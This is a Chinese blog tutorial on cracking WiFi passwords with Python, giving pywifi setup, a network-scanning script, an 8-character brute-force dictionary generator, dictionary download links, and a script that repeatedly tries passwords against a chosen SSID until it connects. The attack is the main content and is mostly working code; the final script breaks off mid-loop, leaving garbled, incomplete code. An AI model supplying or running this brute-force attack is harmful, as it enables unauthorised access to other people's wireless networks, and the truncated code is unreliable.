python无脑破解wifi密码傻瓜式
前言
出于
实验步骤
利用命令行安装pywifi模块
pip install pywifi
查看pip是否安装成功
pip -V
一、扫描WIFI模块
import pywifi import time # 初始化 pywifi wifi = pywifi.PyWiFi() # 获取第一个无线网卡接口 interface = wifi.interfaces()[0] # 开始扫描 interface.scan() print('扫描WiFi中,请稍后………………') # 等待扫描完成 time.sleep(10) # 根据实际情况可能需要更长的时间来完成扫描 # 获取扫描结果 scan_results = interface.scan_results() # 打印扫描结果 print('扫描完成!\n' + '*' * 50) print('\n%s\t%s\t%s' % ('WiFi编号', 'WiFi信号', 'WiFi名称')) index = 0 for result in scan_results: # 解决SSID乱码问题 ssid = result.ssid.encode('raw_unicode_escape').decode('utf-8') signal = result.signal print('%s\t\t\t%s\t\t\t%s' % (index, signal, ssid)) index += 1 print('\n' + '*' * 50)
成功页面
二、爆破字典
1.自己生成不建议(大概有100G左右)生成时间长
以下是生成字典脚本
import itertools as its import datetime # 记录程序运行时间 start = datetime.datetime.now() words = '0123456789qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM' # 大小写字母 + 数字 组合 # words = '0123456789' # 纯数字 # 生成密码的位数 r = its.product(words, repeat=8) # 即生成8位密码,正常情况下热点密码位数为8 dic = open(r"C:\Users\11759\Desktop\alphabetPass.txt", 'a') # alphabetPass.txt 是密码本名称 for i in r: dic.write(''.join(i)) dic.write(''.join('\n')) print(i) dic.close() print('密码本生成好了') end = datetime.datetime.now() print("生成密码本一共用了多长时间:{}".format(end - start))
2.下载字典
迅雷下载
Gitee下载
三、爆破脚本
需要修改处已做注释!
# coding:utf-8 import pywifi from pywifi import const import time import datetime # 全局初始化,避免重复创建实例 wifi = pywifi.PyWiFi() iface = wifi.interfaces()[0] if wifi.interfaces() else None def wifi_connect(pwd): if not iface: print("未找到无线网卡!") return False # 断开当前连接 iface.disconnect() time.sleep(1) # 确保网卡处于断开状态 if iface.status() != const.IFACE_DISCONNECTED: print("无法断开当前连接") return False # 创建新的配置文件 profile = pywifi.Profile() profile.ssid = "iPhone1" # 修改为你的WiFi名称 profile.auth = const.AUTH_ALG_OPEN profile.akm.append(const.AKM_TYPE_WPA2PSK) profile.cipher = const.CIPHER_TYPE_CCMP profile.key = pwd.strip() # 去除密码前后的空格和换行符 # 清理旧配置 iface.remove_all_network_profiles() try: # 添加新配置并尝试连接 tmp_profile = iface.add_network_profile(profile) iface.connect(tmp_profile) # 增加连接等待时间(根据网络响应调整) time.sleep(5) return iface.status() == const.IFACE_CONNECTED except Exception as e: print(f"连接时发生异常: {e}") return False def read_password(): print("开始破解...") path = r"C:\Users\Administrator\Desktop\py项目\WiFi爆破\wpa-dictionary-master\common.txt" # 需要修改成你字典所在位置 try: with open(path, "r") as f: passwords = [line.strip() for line in f.readlines() if line.strip()] except Exception as e: print(f"无法读取密码文件: {e}") return total = len(passwords) start_time = datetime.datetime.now() for idx, pwd in enumerate(passwords, 1): print(f"尝试进度: {idx}/{total} | 当前密码: {pwd}") # 增加重试机制 retry = 0 while retry成功页面
完整代码及字典
迅雷下载
免责声明:我们致力于保护作者版权,注重分享,被刊用文章因无法核实真实出处,未能及时与作者取得联系,或有版权异议的,请联系管理员,我们会立即处理! 部分文章是来自自研大数据AI进行生成,内容摘自(百度百科,百度知道,头条百科,中国民法典,刑法,牛津词典,新华词典,汉语词典,国家院校,科普平台)等数据,内容仅供学习参考,不准确地方联系删除处理! 图片声明:本站部分配图来自人工智能系统AI生成,觅知网授权图片,PxHere摄影无版权图库和百度,360,搜狗等多加搜索引擎自动关键词搜索配图,如有侵权的图片,请第一时间联系我们。